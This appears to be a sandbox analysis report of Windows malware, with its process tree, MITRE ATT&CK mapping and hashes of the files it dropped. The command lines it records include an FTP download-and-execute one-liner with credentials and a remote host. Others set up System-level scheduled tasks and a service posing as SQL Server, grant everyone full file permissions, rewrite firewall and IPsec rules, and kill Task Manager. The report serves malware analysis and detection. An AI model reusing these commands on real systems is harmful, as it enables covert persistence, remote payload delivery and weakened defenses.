- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.522395" /tr "C:\RECYCLER\SQLAGENTIHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.533496" /tr "C:\RECYCLER\SQLAGENTVHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.138297" /tr "C:\Program Files\Microsoft SQL Server\SQLSerasi.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5552
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6072
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.139292" /tr "C:\Program Files (x86)\Microsoft SQL Server\SQLSerasi.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.134297" /tr "C:\Program Files\Microsoft SQL Server\SQLservras.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6524
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.135292" /tr "C:\Program Files (x86)\Microsoft SQL Server\SQLservras.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:7132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.136292" /tr "C:\Program Files\Microsoft SQL Server\fdlaunchersa.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5664
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.137292" /tr "C:\Program Files (x86)\Microsoft SQL Server\fdlaunchersa.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.138292" /tr "C:\ProgramData\Microsoft\Windows\GameExplorer\Remote.hlp" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6496
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:5504
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.131292" /tr "cmd /c echo open g.nxxxn.ga >>s&echo nvpxx169_mm>>s&echo qwe123!@#>>s&echo binary>>s&echo get SQLAGENTVHC.exe C:\Windows\SQLAGENTVHC.exe>>s&echo bye>>s&ftp -s:s&C:\Windows\SQLAGENTVHC.exe&del /f /a /q C:\Windows\system32\s" /sc onstart /ru "System"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.132292" /tr C:\Windows\SQLAGENTVHC.exe /sc onstart /ru System
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:3984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.2.133394" /tr C:\Windows\Fonts\SQLAGENTSWE.exe /sc onstart /ru System
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:4292
- - C:\Windows\SysWOW64\cacls.exe
    cacls.exe "C:\Windows\Fonts\SQLAGENTSWE.exe" /e /t /P everyone:F
    3⤵
    PID:732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:5252
- - C:\Windows\SysWOW64\cacls.exe
    cacls.exe "C:\Windows\Fonts\SQLAGENTSWE.exe" /e /t /P system:F
    3⤵
    PID:4976
- - C:\Windows\Fonts\SQLAGENTSWE.exe
    "C:\Windows\Fonts\SQLAGENTSWE.exe" install "Microsoft.SQL.Server.1021.2" "C:\Windows\Fonts\SQLAGENTSWE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5264
- - C:\Windows\SysWOW64\sc.exe
    sc create "Microsoft.SQL.Server.1021.2" binpath= "C:\Windows\Fonts\SQLAGENTSWE.exe" displayname= "Microsoft.SQL.Server.1021.22" depend= Tcpip start= auto
    3⤵
    - Launches sc.exe
    PID:5556
- - C:\Windows\SysWOW64\sc.exe
    sc description "Microsoft.SQL.Server.1021.2" "Provides storage, processing and controlled access of data, and rapid transaction processing."
    3⤵
    - Launches sc.exe
    PID:6652
- - C:\Windows\Fonts\SQLAGENTSWE.exe
    "C:\Windows\Fonts\SQLAGENTSWE.exe" start "Microsoft.SQL.Server.1021.2"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate1.bat
  2⤵
  PID:4928
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6508
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5188
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
    3⤵
    - Modifies registry key
    PID:6856
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL" /f
    3⤵
    PID:5200
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL1" /f
    3⤵
    PID:6344
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run /v "start" /f
    3⤵
    - Modifies registry key
    PID:2668
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
    3⤵
    - Modifies registry key
    PID:960
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete policy name=win
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:6736
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filterlist name=Allowlist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:6600
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filterlist name=denylist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3620
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static delete filteraction name=allow
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1680
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="tcp all" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6872
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="deny tcp 445" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4852
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="deny tcp 139" dir=in
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5568
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall delete rule name="tcpall" dir=out
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6216
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= auto
    3⤵
    - Launches sc.exe
    PID:6728
- - C:\Windows\SysWOW64\net.exe
    net start MpsSvc
    3⤵
    PID:3248
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start MpsSvc
      4⤵
      PID:2412
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6868
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5268
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:216
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1632
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:6544
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add policy name=win
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4648
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=Allowlist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5516
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filterlist name=denylist
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:6056
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:6240
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:5060
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:2248
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4872
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5792
- - C:\Windows\SysWOW64\netsh.exe
    netsh ipsec static add filteraction name=Allow action=permit
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:1468
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  - Executes a command shell one-liner
  PID:5216
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5896

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:5044

C:\Windows\system32\cmd.exe
cmd
1⤵
PID:1032

C:\Windows\Fonts\SQLAGENTSWE.exe
C:\Windows\Fonts\SQLAGENTSWE.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

770CF0BM.htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\T8UIQK7Y\770CF0BM.htm
Size 28KB
SHA256 1e76fd5d39c6e4e5f653ba57be91ce63bbb8e903e0a1be12ba906e5ef8d1e225
MD5 90ae8db63d23df362b7ba2d04ab2b483
SHA1 de6f7b406a8e316266b3789f93443260eadae84a
SHA512 50514bd6c891ef225281ddcbc09a89ab569f0c1657e13704bbeee7ad41beeff84aab878cbe15cc20ff9f37f5ea4d0ccc319bfe941627be2d347a9b826bf522ca
SSDEEP 384:cEkwodT8VG8zbdoylitKZPNacYqIUVGkY7jovLpxgsO5P:cEkwodT8hUtQPgvPCY/+9ql
TLSH
T1C7D25095C6B354127597D0B86BE67B183261801BCE47DC8CBFCC994C4FC8E9196E33AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TempUpdate.bat

Path C:\Users\Admin\AppData\Local\TempUpdate.bat
Size 2KB
SHA256 e609f438ddef229167e8b626ab42b078e4cf163f5bf64448adeea08b9dc78f29
MD5 46a9f47845da1aea9079074acfd5de22
SHA1 0a4813abd7ccc8540d9affe96a0d0766ed04fd3a
SHA512 f82d62df130c148adad9affb60f04741bbd02e194ddc042e715dc9747977afdb59a1e827e5b813f7537c66f01f12cf11e6deb2242e12bb19a280ad1b960ca6a2
TLSH
T191514A6AF200C9929845B46632E56903BF38954726E1CF54069D803EB1CB7ED83BF7B2
MD5 SHA1 SHA512 TLSH

Submit Download

TempUpdate1.bat

Path C:\Users\Admin\AppData\Local\TempUpdate1.bat
Size 4KB
SHA256 9733dfc351e465b11591de03ec0b167724c8b6d6b1d91c6bc37b3ac0b97f39ad
MD5 433689e4a05b7523471755e3a650511b
SHA1 836f1d30810524b34cd0ef2b354d9b5b33a91034
SHA512 069d0573defcb4d7eb4c19a9bfc30792dfbabca1ab33b9f89995c1ad60f8a40d311948fe799773befacf6566ccf5f154859c8fbbd5efabb66d1fe719ecd94128
SSDEEP 48:W1jp0Jp05/pUyD5xZY2vedaWaoa9ayapFYL5ceVZ9AGAZAdApOA5QALYAVASACAt:W1juu/przuZ76lhynGKnGx
TLSH
T1A4A101056C59A99086CBA733FF13139710B4F5EE36643C893F8DB85ABCA3195C6134DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TempUpdate2.bat

Path C:\Users\Admin\AppData\Local\TempUpdate2.bat
Size 26KB
SHA256 ee0279ddc0d862fef6681266d6606610e48a75b24115978da5fce0be021a0bbe
MD5 e036a67c62e23322d319a434b21a1abb
SHA1 1f17415b94489df52bf42d044db6cee7f32d1a06
SHA512 69d1af93a80a281666accb8f2053977e4292963b28ae827abaa9af10af2439a6e3da6f2ae9c613becbb19a6a174937129f251114daff91bace3855c385714f8d
SSDEEP 192:PRTZPjv77BhppGalNjLGn3mO3IuixQvilne5Yji1cxDsaQ1j9wX4NIsNLhsAMRW5:XosaGNy2Cp
TLSH
T18EC28865CA33D242D282B4B2924E1502F22AD5B3E524A11023C9553EF857939FBFBBDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SQLAGENTSWE.exe

Path C:\Users\Admin\AppData\Local\Temp\SQLAGENTSWE.exe
Size 1.2MB
SHA256 2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551
MD5 bbf682c69500abf37914d414b5bbf278
SHA1 26085535f0b6ba7685dcb8867c7e1bdbc55c5b13
SHA512 8737464800af7d5f529f37b45ba26d2968a1e9ff071c3839c438deb3615992c8a5a9051d73ff899e8471fe1e878938aa8aed7e3460604540248824b47450a723
SSDEEP 24576:9mVJlc+HYsT+EQetbEnRNcFmWVBbQLv+orGM+kHOv:4y+HYsT+B92Tc+oaz
TLSH
T1DE555C23E15288B1D12862B122FB0B34AE79D7B21E318943E7D4CC747E62B71D72B15E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VBS.vbs

Path C:\Users\Admin\AppData\Local\Temp\VBS.vbs
Size 776B
SHA256 b99e61dd9e7326317660f5b6c0a21a0712d1fbdd54cc44ce17d42e72fda0f210
MD5 a4c5a3c50deeaddc775d4e1a01199cde
SHA1 2e6837ce91297e01f8ef940bca7887abd23af149
SHA512 6e1abb88858d7aa96b52fda2ce2577b5a0da418abf8b0f8b5df68f1b26a63051bd123d6db7b01880c1e5efb0e9d3de4ae05dcbbacff13a600ce1fd79002cfecb
TLSH
T13301C050DE4D832D513057362873E40AF7A925136303ACA9795AD4312F707586CB5E33
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2360-0-0x0000000000400000-0x0000000000553000-memory.dmp

Download

memory/2360-6-0x0000000010000000-0x0000000010009000-memory.dmp

Download

memory/2360-2-0x0000000000C10000-0x0000000000C1B000-memory.dmp

Download

memory/2360-1-0x0000000000C10000-0x0000000000C1B000-memory.dmp

Download

memory/5264-45-0x0000000000790000-0x000000000079B000-memory.dmp

Download

memory/5416-48-0x00000000007D0000-0x00000000007DB000-memory.dmp

Download

memory/5980-51-0x0000000002290000-0x000000000229B000-memory.dmp

Download